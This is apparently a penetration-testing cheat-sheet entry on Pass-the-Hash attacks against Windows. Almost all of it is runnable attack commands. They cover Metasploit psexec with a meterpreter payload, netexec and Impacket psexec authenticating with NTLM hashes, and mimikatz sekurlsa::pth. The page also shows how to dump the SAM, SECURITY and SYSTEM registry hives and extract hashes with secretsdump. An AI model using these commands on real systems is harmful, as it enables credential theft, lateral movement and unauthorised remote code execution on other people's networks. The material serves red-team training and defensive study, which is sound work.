# Hash - Pass the Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

* Metasploit
  ```powershell
  use exploit/windows/smb/psexec
  set RHOST 10.2.0.3
  set SMBUser jarrieta
  set SMBPass nastyCutt3r  
  # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
  # NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
  set PAYLOAD windows/meterpreter/bind_tcp
  run
  shell
  ```
* netexec
  ```powershell
  nxc smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
  ```
* Impacket suite
  ```powershell
  proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
  ```
* Windows RDP and mimikatz
  ```powershell
  sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
  sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
  ```

You can extract the local **SAM database** to find the local administrator hash :

```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```
